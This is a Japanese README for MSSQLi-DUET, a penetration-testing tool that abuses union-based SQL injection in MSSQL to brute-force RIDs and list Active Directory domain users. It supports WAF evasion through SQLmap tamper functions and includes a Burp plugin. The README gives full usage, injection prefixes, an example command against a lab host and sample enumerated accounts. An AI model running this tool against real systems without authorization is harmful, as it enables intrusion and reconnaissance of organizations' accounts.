
Active Directory環境においてRIDブルートフォースに基づいてドメインユーザーを抽出するMSSQL用SQLインジェクションスクリプト
MSSQL用のSQLインジェクションスクリプトで、RIDブルートフォースに基づいてActive Directory環境からドメインユーザーを抽出します。SQLmapのtamper関数の実装を通じて、さまざまなWAF回避手法をサポートします。状況や環境に応じて、ユーザーが追加のtamper関数を組み込むこともできます。
Pythonスクリプト(ターミナル用)とBurp Suiteプラグイン(シンプルなGUIナビゲーション用)の2つのフレーバーがあります。
現時点ではユニオンベースのインジェクションのみをサポートしています。ツールの機能と精度を完全にテストするには、さらに多くのサンプルとテストケースが必要です。動作しない状況に遭遇した場合は、フィードバックやコメントを大歓迎します。
また、スクリプトやプラグインをニーズに合わせてカスタマイズすることもそれほど難しくありません。トラブルシューティングについては、注意事項のセクションを必ずお読みください。
プラグインをBurp Suiteにロードした後、リクエストを右クリックしてMSSQLi-DUETに送信します。パラメータなどの詳細は以下で説明します。
リクエストはリクエストウィンドウに表示され、その上のフィールドのみに入力する必要があります。実行ボタンを押すと、結果が出力ボックスに配置され、簡単にコピー&ペーストできます。
python3 mssqli-duet.py -h
usage: mssqli-duet.py [-h] -i INJECTION [-e ENCODING] -t TIME_DELAY -rid
RID_RANGE [-ssl SSL] -p PARAMETER [-proxy PROXY]
[-o OUTFILE] -r REQUEST_FILE
MSSQLi-DUET - MSSQL (Injection-based) Domain User Enumeration Tool
optional arguments:
-h, --help show this help message and exit
-i INJECTION, --injection INJECTION
Injection point. Provide only the data needed to
escape the query.
-e ENCODING, --encoding ENCODING
Type of encoding: unicode, doubleencode, unmagicquotes
-t TIME_DELAY, --time_delay TIME_DELAY
Time delay for requests.
-rid RID_RANGE, --rid_range RID_RANGE
Hypenated range of RIDs to bruteforce. Ex: 1000-1200
-ssl SSL, --ssl SSL Add flag for HTTPS
-p PARAMETER, --parameter PARAMETER
Vulnerable parameter
-proxy PROXY, --proxy PROXY
Proxy connection string. Ex: 127.0.0.1:8080
-o OUTFILE, --outfile OUTFILE
Outfile for username enumeration results.
-r REQUEST_FILE, --request_file REQUEST_FILE
Raw request file saved from Burp
Prepare to be enumerated!
アプリケーションでユニオンベースのSQLインジェクションを特定した後、Burp Suiteの「ファイルにコピー」機能を使用して生のリクエストをコピーします。
保存したリクエストを-rフラグを付けてDUETに渡します。脆弱なパラメータとインジェクションポイントを指定します。例として、パラメータ"element"がSQLインジェクションに対して脆弱な場合、-pは"element"になります。DUETはすべてのSQLインジェクションクエリを自動的に構築しますが、初期インジェクションの指定を提供する必要があります。つまり、パラメータデータの後の一重引用符が原因でインジェクションが発生する場合、それが-i引数で指定するものです。
例: test'
test'))
test")"
python3 mssqli-duet.py -i "carbon'" -t 0 -rid 1000-1200 -p element -r testrequest.req -proxy 127.0.0.1:8080
[+] Collected request data:
Target URL = http://192.168.11.22/search2.php?element=carbon
Method = GET
Content-Type = applcation/x-www-form-urlencoded
[+] Determining the number of columns in the table...
[!] Number of columns is 3
[+] Determining column type...
[!] Column type is null
[+] Discovering domain name...
[+] Domain = NEUTRINO
[+] Discovering domain SID...
S-1-5-21-4142252318-1896537706-4233180933-
[+] Enumerating Active Directory via SIDs...
NEUTRINO\HYDROGENDC01$
NEUTRINO\DnsAdmins
NEUTRINO\DnsUpdateProxy
NEUTRINO\HELIUM$
NEUTRINO\BORON$
NEUTRINO\BERYLLIUM$
NEUTRINO\aeinstein
NEUTRINO\bbobberson
NEUTRINO\csagan
NEUTRINO\ccheese
NEUTRINO\svc_web
NEUTRINO\svc_sql
スクリプトは、発見された列のキャストと型の制限に応じて変更する必要がある場合があります。 これには、ペイロードの列位置を切り替える変更や、エラーを生成しない列タイプに対応するためのクエリ文字列自体の変更が含まれます。
さらに、現在の列数を決定するロジックは最良ではなく、適切な決定が行われるようにするには、特定の比較をコメントアウトする必要がある場合があります。
全体的に、Burpで送信されているリクエストを確認し、遭遇したSQLインジェクション環境に合わせてスクリプトを調整してください。
https://blog.netspi.com/hacking-sql-server-procedures-part-4-enumerating-domain-accounts/